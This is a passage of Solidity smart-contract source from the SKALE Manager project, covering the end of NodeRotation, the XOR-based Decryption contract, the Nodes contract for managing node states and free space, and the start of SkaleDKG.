contractManager.getContract("SchainsInternal") ).getSchainHashesForNode(nodeIndex); for (uint i = 0; i < schains.length; i++) { if (schains[i] != bytes32(0)) { _checkBeforeRotation(schains[i], nodeIndex); } } } /** * @dev Allows Schains contract to remove a rotation from an schain. */ function removeRotation(bytes32 schainHash) external override allow("Schains") { delete _rotations[schainHash].nodeIndex; delete _rotations[schainHash].newNodeIndex; delete _rotations[schainHash].freezeUntil; delete _rotations[schainHash].rotationCounter; } /** * @dev Allows Owner to immediately rotate an schain. */ function skipRotationDelay(bytes32 schainHash) external override onlyDebugger { _rotations[schainHash].freezeUntil = block.timestamp; emit RotationDelaySkipped(schainHash); } /** * @dev Returns rotation details for a given schain. */ function getRotation(bytes32 schainHash) external view override returns (INodeRotation.Rotation memory) { return Rotation({ nodeIndex: _rotations[schainHash].nodeIndex, newNodeIndex: _rotations[schainHash].newNodeIndex, freezeUntil: _rotations[schainHash].freezeUntil, rotationCounter: _rotations[schainHash].rotationCounter }); } /** * @dev Returns leaving history for a given node. */ function getLeavingHistory(uint nodeIndex) external view override returns (INodeRotation.LeavingHistory[] memory) { return leavingHistory[nodeIndex]; } function isRotationInProgress(bytes32 schainHash) external view override returns (bool) { bool foundNewNode = isNewNodeFound(schainHash); return foundNewNode ? leavingHistory[_rotations[schainHash].nodeIndex][ _rotations[schainHash].indexInLeavingHistory[_rotations[schainHash].nodeIndex] ].finishedRotation >= block.timestamp : _rotations[schainHash].freezeUntil >= block.timestamp; } /** * @dev Returns a previous node of the node in schain. * If there is no previous node for given node would return an error: * "No previous node" */ function getPreviousNode(bytes32 schainHash, uint256 nodeIndex) external view override returns (uint256) { require(_rotations[schainHash].newNodeIndexes.contains(nodeIndex), "No previous node"); return _rotations[schainHash].previousNodes[nodeIndex]; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Allows SkaleDKG and SkaleManager contracts to rotate a node from an * schain. */ function rotateNode( uint nodeIndex, bytes32 schainHash, bool shouldDelay, bool isBadNode ) public override allowTwo("SkaleDKG", "SkaleManager") returns (uint newNode) { ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal")); schainsInternal.removeNodeFromSchain(nodeIndex, schainHash); if (!isBadNode) { schainsInternal.removeNodeFromExceptions(schainHash, nodeIndex); } newNode = selectNodeToGroup(schainHash); _finishRotation(schainHash, nodeIndex, newNode, shouldDelay); } /** * @dev Allows SkaleManager, Schains, and SkaleDKG contracts to * pseudo-randomly select a new Node for an Schain. * * Requirements: * * - Schain is active. * - A free node already exists. * - Free space can be allocated from the node. */ function selectNodeToGroup(bytes32 schainHash) public override allowThree("SkaleManager", "Schains", "SkaleDKG") returns (uint nodeIndex) { ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal")); INodes nodes = INodes(contractManager.getContract("Nodes")); require(schainsInternal.isSchainActive(schainHash), "Group is not active"); uint8 space = schainsInternal.getSchainsPartOfNode(schainHash); schainsInternal.makeSchainNodesInvisible(schainHash); require(schainsInternal.isAnyFreeNode(schainHash), "No free Nodes available for rotation"); IRandom.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), schainHash) ); nodeIndex = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); require(nodes.removeSpaceFromNode(nodeIndex, space), "Could not remove space from nodeIndex"); schainsInternal.makeSchainNodesVisible(schainHash); schainsInternal.addSchainForNode(nodes, nodeIndex, schainHash); schainsInternal.setException(schainHash, nodeIndex); schainsInternal.setNodeInGroup(schainHash, nodeIndex); } function isNewNodeFound(bytes32 schainHash) public view override returns (bool) { return _rotations[schainHash].newNodeIndexes.contains(_rotations[schainHash].newNodeIndex) && _rotations[schainHash].previousNodes[_rotations[schainHash].newNodeIndex] == _rotations[schainHash].nodeIndex; } /** * @dev Initiates rotation of a node from an schain. */ function _startRotation(bytes32 schainHash, uint nodeIndex) private { _rotations[schainHash].newNodeIndex = nodeIndex; waitForNewNode[schainHash] = true; } function _startWaiting(bytes32 schainHash, uint nodeIndex) private { IConstantsHolder constants = IConstantsHolder(contractManager.getContract("ConstantsHolder")); _rotations[schainHash].nodeIndex = nodeIndex; _rotations[schainHash].freezeUntil = block.timestamp + constants.rotationDelay(); } /** * @dev Completes rotation of a node from an schain. */ function _finishRotation( bytes32 schainHash, uint nodeIndex, uint newNodeIndex, bool shouldDelay) private { leavingHistory[nodeIndex].push( LeavingHistory( schainHash, shouldDelay ? block.timestamp + IConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() : block.timestamp ) ); require(_rotations[schainHash].newNodeIndexes.add(newNodeIndex), "New node was already added"); _rotations[schainHash].newNodeIndex = newNodeIndex; _rotations[schainHash].rotationCounter++; _rotations[schainHash].previousNodes[newNodeIndex] = nodeIndex; _rotations[schainHash].indexInLeavingHistory[nodeIndex] = leavingHistory[nodeIndex].length - 1; delete waitForNewNode[schainHash]; ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainHash); } function _checkBeforeRotation(bytes32 schainHash, uint nodeIndex) private { require( ISkaleDKG(contractManager.getContract("SkaleDKG")).isLastDKGSuccessful(schainHash), "DKG did not finish on Schain" ); if (_rotations[schainHash].freezeUntil < block.timestamp) { _startWaiting(schainHash, nodeIndex); } else { require(_rotations[schainHash].nodeIndex == nodeIndex, "Occupied by rotation on Schain"); } } } // SPDX-License-Identifier: AGPL-3.0-only /* Decryption.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@skalenetwork/skale-manager-interfaces/IDecryption.sol"; /** * @title Decryption * @dev This contract performs encryption and decryption functions. * Decrypt is used by SkaleDKG contract to decrypt secret key contribution to * validate complaints during the DKG procedure. */ contract Decryption is IDecryption { /** * @dev Returns an encrypted text given a secret and a key. */ function encrypt(uint256 secretNumber, bytes32 key) external pure override returns (bytes32) { return bytes32(secretNumber) ^ key; } /** * @dev Returns a secret given an encrypted text and a key. */ function decrypt(bytes32 cipherText, bytes32 key) external pure override returns (uint256) { return uint256(cipherText ^ key); } } // SPDX-License-Identifier: AGPL-3.0-only /* Nodes.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@openzeppelin/contracts-upgradeable/utils/math/SafeCastUpgradeable.sol"; import "@skalenetwork/skale-manager-interfaces/INodes.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/IDelegationController.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/IValidatorService.sol"; import "@skalenetwork/skale-manager-interfaces/IBountyV2.sol"; import "./Permissions.sol"; import "./ConstantsHolder.sol"; import "./utils/Random.sol"; import "./utils/SegmentTree.sol"; import "./NodeRotation.sol"; /** * @title Nodes * @dev This contract contains all logic to manage SKALE Network nodes states, * space availability, stake requirement checks, and exit functions. * * Nodes may be in one of several states: * * - Active: Node is registered and is in network operation. * - Leaving: Node has begun exiting from the network. * - Left: Node has left the network. * - In_Maintenance: Node is temporarily offline or undergoing infrastructure * maintenance * * Note: Online nodes contain both Active and Leaving states. */ contract Nodes is Permissions, INodes { using Random for IRandom.RandomGenerator; using SafeCastUpgradeable for uint; using SegmentTree for SegmentTree.Tree; bytes32 constant public COMPLIANCE_ROLE = keccak256("COMPLIANCE_ROLE"); bytes32 public constant NODE_MANAGER_ROLE = keccak256("NODE_MANAGER_ROLE"); // array which contain all Nodes Node[] public nodes; SpaceManaging[] public spaceOfNodes; // mapping for checking which Nodes and which number of Nodes owned by user mapping (address => CreatedNodes) public nodeIndexes; // mapping for checking is IP address busy mapping (bytes4 => bool) public nodesIPCheck; // mapping for checking is Name busy mapping (bytes32 => bool) public nodesNameCheck; // mapping for indication from Name to Index mapping (bytes32 => uint) public nodesNameToIndex; // mapping for indication from space to Nodes mapping (uint8 => uint[]) public spaceToNodes; mapping (uint => uint[]) public validatorToNodeIndexes; uint public override numberOfActiveNodes; uint public numberOfLeavingNodes; uint public numberOfLeftNodes; mapping (uint => string) public domainNames; mapping (uint => bool) private _invisible; SegmentTree.Tree private _nodesAmountBySpace; mapping (uint => bool) public override incompliant; modifier checkNodeExists(uint nodeIndex) { _checkNodeIndex(nodeIndex); _; } modifier onlyNodeOrNodeManager(uint nodeIndex) { _checkNodeOrNodeManager(nodeIndex, msg.sender); _; } modifier onlyCompliance() { require(hasRole(COMPLIANCE_ROLE, msg.sender), "COMPLIANCE_ROLE is required"); _; } modifier nonZeroIP(bytes4 ip) { require(ip != 0x0 && !nodesIPCheck[ip], "IP address is zero or is not available"); _; } /** * @dev Allows Schains and SchainsInternal contracts to occupy available * space on a node. * * Returns whether operation is successful. */ function removeSpaceFromNode(uint nodeIndex, uint8 space) external override checkNodeExists(nodeIndex) allowTwo("NodeRotation", "SchainsInternal") returns (bool) { if (spaceOfNodes[nodeIndex].freeSpace < space) { return false; } if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, (uint(spaceOfNodes[nodeIndex].freeSpace) - space).toUint8() ); } return true; } /** * @dev Allows Schains contract to occupy free space on a node. * * Returns whether operation is successful. */ function addSpaceToNode(uint nodeIndex, uint8 space) external override checkNodeExists(nodeIndex) allow("SchainsInternal") { if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, (uint(spaceOfNodes[nodeIndex].freeSpace) + space).toUint8() ); } } /** * @dev Allows SkaleManager to change a node's last reward date. */ function changeNodeLastRewardDate(uint nodeIndex) external override checkNodeExists(nodeIndex) allow("SkaleManager") { nodes[nodeIndex].lastRewardDate = block.timestamp; } /** * @dev Allows SkaleManager to change a node's finish time. */ function changeNodeFinishTime(uint nodeIndex, uint time) external override checkNodeExists(nodeIndex) allow("SkaleManager") { nodes[nodeIndex].finishTime = time; } /** * @dev Allows SkaleManager contract to create new node and add it to the * Nodes contract. * * Emits a {NodeCreated} event. * * Requirements: * * - Node IP must be non-zero. * - Node IP must be available. * - Node name must not already be registered. * - Node port must be greater than zero. */ function createNode(address from, NodeCreationParams calldata params) external override allow("SkaleManager") nonZeroIP(params.ip) { // checks that Node has correct data require(!nodesNameCheck[keccak256(abi.encodePacked(params.name))], "Name is already registered"); require(params.port > 0, "Port is zero"); require(from == _publicKeyToAddress(params.publicKey), "Public Key is incorrect"); uint validatorId = IValidatorService( contractManager.getContract("ValidatorService")).getValidatorIdByNodeAddress(from); uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE(); nodes.push(Node({ name: params.name, ip: params.ip, publicIP: params.publicIp, port: params.port, publicKey: params.publicKey, startBlock: block.number, lastRewardDate: block.timestamp, finishTime: 0, status: NodeStatus.Active, validatorId: validatorId })); uint nodeIndex = nodes.length - 1; validatorToNodeIndexes[validatorId].push(nodeIndex); bytes32 nodeId = keccak256(abi.encodePacked(params.name)); nodesIPCheck[params.ip] = true; nodesNameCheck[nodeId] = true; nodesNameToIndex[nodeId] = nodeIndex; nodeIndexes[from].isNodeExist[nodeIndex] = true; nodeIndexes[from].numberOfNodes++; domainNames[nodeIndex] = params.domainName; spaceOfNodes.push(SpaceManaging({ freeSpace: totalSpace, indexInSpaceMap: spaceToNodes[totalSpace].length })); _setNodeActive(nodeIndex); emit NodeCreated( nodeIndex, from, params.name, params.ip, params.publicIp, params.port, params.nonce, params.domainName); } /** * @dev Allows NODE_MANAGER_ROLE to initiate a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitInitialized} event. */ function initExit(uint nodeIndex) external override checkNodeExists(nodeIndex) { require(hasRole(NODE_MANAGER_ROLE, msg.sender), "NODE_MANAGER_ROLE is required"); require(isNodeActive(nodeIndex), "Node should be Active"); _setNodeLeaving(nodeIndex); NodeRotation(contractManager.getContract("NodeRotation")).freezeSchains(nodeIndex); emit ExitInitialized(nodeIndex, block.timestamp); } /** * @dev Allows SkaleManager contract to complete a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitCompleted} event. * * Requirements: * * - Node must have already initialized a node exit procedure. */ function completeExit(uint nodeIndex) external override checkNodeExists(nodeIndex) allow("SkaleManager") returns (bool) { require(isNodeLeaving(nodeIndex), "Node is not Leaving"); _setNodeLeft(nodeIndex); emit ExitCompleted(nodeIndex); return true; } /** * @dev Allows SkaleManager contract to delete a validator's node. * * Requirements: * * - Validator ID must exist. */ function deleteNodeForValidator(uint validatorId, uint nodeIndex) external override checkNodeExists(nodeIndex) allow("SkaleManager") { IValidatorService validatorService = IValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); if (position < validatorNodes.length) { validatorToNodeIndexes[validatorId][position] = validatorToNodeIndexes[validatorId][validatorNodes.length - 1]; } validatorToNodeIndexes[validatorId].pop(); address nodeOwner = _publicKeyToAddress(nodes[nodeIndex].publicKey); if (validatorService.getValidatorIdByNodeAddress(nodeOwner) == validatorId) { if (nodeIndexes[nodeOwner].numberOfNodes == 1 && !validatorService.validatorAddressExists(nodeOwner)) { validatorService.removeNodeAddress(validatorId, nodeOwner); } nodeIndexes[nodeOwner].isNodeExist[nodeIndex] = false; nodeIndexes[nodeOwner].numberOfNodes--; } } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to create another node. * * Requirements: * * - Validator must be included on trusted list if trusted list is enabled. * - Validator must have sufficient stake to operate an additional node. */ function checkPossibilityCreatingNode(address nodeAddress) external override allow("SkaleManager") { IValidatorService validatorService = IValidatorService(contractManager.getValidatorService()); uint validatorId = validatorService.getValidatorIdByNodeAddress(nodeAddress); require(validatorService.isAuthorizedValidator(validatorId), "Validator is not authorized to create a node"); require( _checkValidatorPositionToMaintainNode(validatorId, validatorToNodeIndexes[validatorId].length), "Validator must meet the Minimum Staking Requirement"); } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to maintain a node. * * Returns whether validator can maintain node with current stake. * * Requirements: * * - Validator ID and nodeIndex must both exist. */ function checkPossibilityToMaintainNode( uint validatorId, uint nodeIndex ) external override checkNodeExists(nodeIndex) allow("Bounty") returns (bool) { IValidatorService validatorService = IValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); require(position < validatorNodes.length, "Node does not exist for this Validator"); return _checkValidatorPositionToMaintainNode(validatorId, position); } /** * @dev Allows Node to set In_Maintenance status. * * Requirements: * * - Node must already be Active. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function setNodeInMaintenance(uint nodeIndex) external override onlyNodeOrNodeManager(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.Active, "Node is not Active"); _setNodeInMaintenance(nodeIndex); emit MaintenanceNode(nodeIndex, true); } /** * @dev Allows Node to remove In_Maintenance status. * * Requirements: * * - Node must already be In Maintenance. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function removeNodeFromInMaintenance(uint nodeIndex) external override onlyNodeOrNodeManager(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.In_Maintenance, "Node is not In Maintenance"); _setNodeActive(nodeIndex); emit MaintenanceNode(nodeIndex, false); } /** * @dev Marks the node as incompliant * */ function setNodeIncompliant(uint nodeIndex) external override onlyCompliance checkNodeExists(nodeIndex) { if (!incompliant[nodeIndex]) { incompliant[nodeIndex] = true; _makeNodeInvisible(nodeIndex); emit IncompliantNode(nodeIndex, true); } } /** * @dev Marks the node as compliant * */ function setNodeCompliant(uint nodeIndex) external override onlyCompliance checkNodeExists(nodeIndex) { if (incompliant[nodeIndex]) { incompliant[nodeIndex] = false; _tryToMakeNodeVisible(nodeIndex); emit IncompliantNode(nodeIndex, false); } } function setDomainName(uint nodeIndex, string memory domainName) external override onlyNodeOrNodeManager(nodeIndex) { domainNames[nodeIndex] = domainName; } function makeNodeVisible(uint nodeIndex) external override allow("SchainsInternal") { _tryToMakeNodeVisible(nodeIndex); } function makeNodeInvisible(uint nodeIndex) external override allow("SchainsInternal") { _makeNodeInvisible(nodeIndex); } function changeIP( uint nodeIndex, bytes4 newIP, bytes4 newPublicIP ) external override onlyAdmin checkNodeExists(nodeIndex) nonZeroIP(newIP) { if (newPublicIP != 0x0) { require(newIP == newPublicIP, "IP address is not the same"); nodes[nodeIndex].publicIP = newPublicIP; } nodesIPCheck[nodes[nodeIndex].ip] = false; nodesIPCheck[newIP] = true; emit IPChanged(nodeIndex, nodes[nodeIndex].ip, newIP); nodes[nodeIndex].ip = newIP; } function getRandomNodeWithFreeSpace( uint8 freeSpace, IRandom.RandomGenerator memory randomGenerator ) external view override returns (uint) { uint8 place = _nodesAmountBySpace.getRandomNonZeroElementFromPlaceToLast( freeSpace == 0 ? 1 : freeSpace, randomGenerator ).toUint8(); require(place > 0, "Node not found"); return spaceToNodes[place][randomGenerator.random(spaceToNodes[place].length)]; } /** * @dev Checks whether it is time for a node's reward. */ function isTimeForReward(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (bool) { return IBountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex) <= block.timestamp; } /** * @dev Returns IP address of a given node. * * Requirements: * * - Node must exist. */ function getNodeIP(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (bytes4) { require(nodeIndex < nodes.length, "Node does not exist"); return nodes[nodeIndex].ip; } /** * @dev Returns domain name of a given node. * * Requirements: * * - Node must exist. */ function getNodeDomainName(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (string memory) { return domainNames[nodeIndex]; } /** * @dev Returns the port of a given node. * * Requirements: * * - Node must exist. */ function getNodePort(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (uint16) { return nodes[nodeIndex].port; } /** * @dev Returns the public key of a given node. */ function getNodePublicKey(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (bytes32[2] memory) { return nodes[nodeIndex].publicKey; } /** * @dev Returns an address of a given node. */ function getNodeAddress(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (address) { return _publicKeyToAddress(nodes[nodeIndex].publicKey); } /** * @dev Returns the finish exit time of a given node. */ function getNodeFinishTime(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].finishTime; } /** * @dev Checks whether a node has left the network. */ function isNodeLeft(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Left; } function isNodeInMaintenance(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.In_Maintenance; } /** * @dev Returns a given node's last reward date. */ function getNodeLastRewardDate(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].lastRewardDate; } /** * @dev Returns a given node's next reward date. */ function getNodeNextRewardDate(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (uint) { return IBountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex); } /** * @dev Returns the total number of registered nodes. */ function getNumberOfNodes() external view override returns (uint) { return nodes.length; } /** * @dev Returns the total number of online nodes. * * Note: Online nodes are equal to the number of active plus leaving nodes. */ function getNumberOnlineNodes() external view override returns (uint) { return numberOfActiveNodes + numberOfLeavingNodes ; } /** * @dev Return active node IDs. */ function getActiveNodeIds() external view override returns (uint[] memory activeNodeIds) { activeNodeIds = new uint[](numberOfActiveNodes); uint indexOfActiveNodeIds = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (isNodeActive(indexOfNodes)) { activeNodeIds[indexOfActiveNodeIds] = indexOfNodes; indexOfActiveNodeIds++; } } } /** * @dev Return a given node's current status. */ function getNodeStatus(uint nodeIndex) external view override checkNodeExists(nodeIndex) returns (NodeStatus) { return nodes[nodeIndex].status; } /** * @dev Return a validator's linked nodes. * * Requirements: * * - Validator ID must exist. */ function getValidatorNodeIndexes(uint validatorId) external view override returns (uint[] memory) { IValidatorService validatorService = IValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); return validatorToNodeIndexes[validatorId]; } /** * @dev Returns number of nodes with available space. */ function countNodesWithFreeSpace(uint8 freeSpace) external view override returns (uint count) { if (freeSpace == 0) { return _nodesAmountBySpace.sumFromPlaceToLast(1); } return _nodesAmountBySpace.sumFromPlaceToLast(freeSpace); } /** * @dev constructor in Permissions approach. */ function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); numberOfActiveNodes = 0; numberOfLeavingNodes = 0; numberOfLeftNodes = 0; _nodesAmountBySpace.create(128); } /** * @dev Returns the Validator ID for a given node. */ function getValidatorId(uint nodeIndex) public view override checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].validatorId; } /** * @dev Checks whether a node exists for a given address. */ function isNodeExist(address from, uint nodeIndex) public view override checkNodeExists(nodeIndex) returns (bool) { return nodeIndexes[from].isNodeExist[nodeIndex]; } /** * @dev Checks whether a node's status is Active. */ function isNodeActive(uint nodeIndex) public view override checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Active; } /** * @dev Checks whether a node's status is Leaving. */ function isNodeLeaving(uint nodeIndex) public view override checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Leaving; } function _removeNodeFromSpaceToNodes(uint nodeIndex, uint8 space) internal { uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap; uint len = spaceToNodes[space].length - 1; if (indexInArray < len) { uint shiftedIndex = spaceToNodes[space][len]; spaceToNodes[space][indexInArray] = shiftedIndex; spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray; } spaceToNodes[space].pop(); delete spaceOfNodes[nodeIndex].indexInSpaceMap; } /** * @dev Moves a node to a new space mapping. */ function _moveNodeToNewSpaceMap(uint nodeIndex, uint8 newSpace) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromTree(space); _addNodeToTree(newSpace); _removeNodeFromSpaceToNodes(nodeIndex, space); _addNodeToSpaceToNodes(nodeIndex, newSpace); } spaceOfNodes[nodeIndex].freeSpace = newSpace; } /** * @dev Changes a node's status to Active. */ function _setNodeActive(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Active; numberOfActiveNodes = numberOfActiveNodes + 1; if (_invisible[nodeIndex]) { _tryToMakeNodeVisible(nodeIndex); } else { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); } } /** * @dev Changes a node's status to In_Maintenance. */ function _setNodeInMaintenance(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.In_Maintenance; numberOfActiveNodes = numberOfActiveNodes - 1; _makeNodeInvisible(nodeIndex); } /** * @dev Changes a node's status to Left. */ function _setNodeLeft(uint nodeIndex) private { nodesIPCheck[nodes[nodeIndex].ip] = false; nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false; delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))]; if (nodes[nodeIndex].status == NodeStatus.Active) { numberOfActiveNodes--; } else { numberOfLeavingNodes--; } nodes[nodeIndex].status = NodeStatus.Left; numberOfLeftNodes++; delete spaceOfNodes[nodeIndex].freeSpace; } /** * @dev Changes a node's status to Leaving. */ function _setNodeLeaving(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Leaving; numberOfActiveNodes--; numberOfLeavingNodes++; _makeNodeInvisible(nodeIndex); } function _makeNodeInvisible(uint nodeIndex) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromSpaceToNodes(nodeIndex, space); _removeNodeFromTree(space); _invisible[nodeIndex] = true; } } function _tryToMakeNodeVisible(uint nodeIndex) private { if (_invisible[nodeIndex] && _canBeVisible(nodeIndex)) { _makeNodeVisible(nodeIndex); } } function _makeNodeVisible(uint nodeIndex) private { if (_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); delete _invisible[nodeIndex]; } } function _addNodeToSpaceToNodes(uint nodeIndex, uint8 space) private { spaceToNodes[space].push(nodeIndex); spaceOfNodes[nodeIndex].indexInSpaceMap = spaceToNodes[space].length - 1; } function _addNodeToTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.addToPlace(space, 1); } } function _removeNodeFromTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.removeFromPlace(space, 1); } } function _checkValidatorPositionToMaintainNode(uint validatorId, uint position) private returns (bool) { IDelegationController delegationController = IDelegationController( contractManager.getContract("DelegationController") ); uint delegationsTotal = delegationController.getAndUpdateDelegatedToValidatorNow(validatorId); uint msr = IConstantsHolder(contractManager.getConstantsHolder()).msr(); return (position + 1) * msr <= delegationsTotal; } function _checkNodeIndex(uint nodeIndex) private view { require(nodeIndex < nodes.length, "Node with such index does not exist"); } function _checkNodeOrNodeManager(uint nodeIndex, address sender) private view { IValidatorService validatorService = IValidatorService(contractManager.getValidatorService()); require( isNodeExist(sender, nodeIndex) || hasRole(NODE_MANAGER_ROLE, msg.sender) || getValidatorId(nodeIndex) == validatorService.getValidatorId(sender), "Sender is not permitted to call this function" ); } function _canBeVisible(uint nodeIndex) private view returns (bool) { return !incompliant[nodeIndex] && nodes[nodeIndex].status == NodeStatus.Active; } /** * @dev Returns the index of a given node within the validator's node index. */ function _findNode(uint[] memory validatorNodeIndexes, uint nodeIndex) private pure returns (uint) { uint i; for (i = 0; i < validatorNodeIndexes.length; i++) { if (validatorNodeIndexes[i] == nodeIndex) { return i; } } return validatorNodeIndexes.length; } function _publicKeyToAddress(bytes32[2] memory pubKey) private pure returns (address) { bytes32 hash = keccak256(abi.encodePacked(pubKey[0], pubKey[1])); bytes20 addr; for (uint8 i = 12; i < 32; i++) { addr |= bytes20(hash[i] & 0xFF) >> ((i - 12) * 8); } return address(addr); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDKG.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@skalenetwork/skale-manager-interfaces/ISkaleDKG.sol"; import "@skalenetwork/skale-manager-interfaces/ISlashingTable.sol"; import "@skalenetwork/skale-manager-interfaces/ISchains.sol"; import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol"; import "@skalenetwork/skale-manager-interfaces/INodeRotation.sol"; import "@skalenetwork/skale-manager-interfaces/IKeyStorage.sol"; import "@skalenetwork/skale-manager-interfaces/IWallets.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/IPunisher.sol"; import "@skalenetwork/skale-manager-interfaces/thirdparty/IECDH.sol"; import "./Permissions.sol"; import "./ConstantsHolder.sol"; import "./utils/FieldOperations.sol"; import "./utils/Precompiled.sol"; import "./dkg/SkaleDkgAlright.sol"; import "./dkg/SkaleDkgBroadcast.sol"; import "./dkg/SkaleDkgComplaint.sol"; import "./dkg/SkaleDkgPreResponse.sol"; import "./dkg/SkaleDkgResponse.sol"; /** * @title SkaleDKG * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ contract SkaleDKG is Permissions, ISkaleDKG { using Fp2Operations for ISkaleDKG.Fp2Point; using G2Operations for ISkaleDKG.G2Point; enum DkgFunction {Broadcast, Alright, ComplaintBadData, PreResponse, Complaint, Response} struct Context { bool isDebt; uint delta; DkgFunction dkgFunction; } mapping(bytes32 => Channel) public channels; mapping(bytes32 => uint) public lastSuccessfulDKG; mapping(bytes32 => ProcessDKG) public dkgProcess; mapping(bytes32 => ComplaintData) public complaints; mapping(bytes32 => uint) public startAlrightTimestamp; mapping(bytes32 => mapping(uint => bytes32)) public hashedData; mapping(bytes32 => uint) private _badNodes; modifier correctGroup(bytes32 schainHash) { require(channels[schainHash].active, "Group is not created"); _; } modifier correctGroupWithoutRevert(bytes32 schainHash) { if (!channels[schainHash].active) { emit ComplaintError("Group is not created"); } else { _; } } modifier correctNode(bytes32 schainHash, uint nodeIndex) { (uint index, ) = checkAndReturnIndexInGroup(schainHash, nodeIndex, true); _; } modifier correctNodeWithoutRevert(bytes32 schainHash, uint nodeIndex) { (, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); if (!check) { emit ComplaintError("Node is not in this group"); } else { _; } } modifier 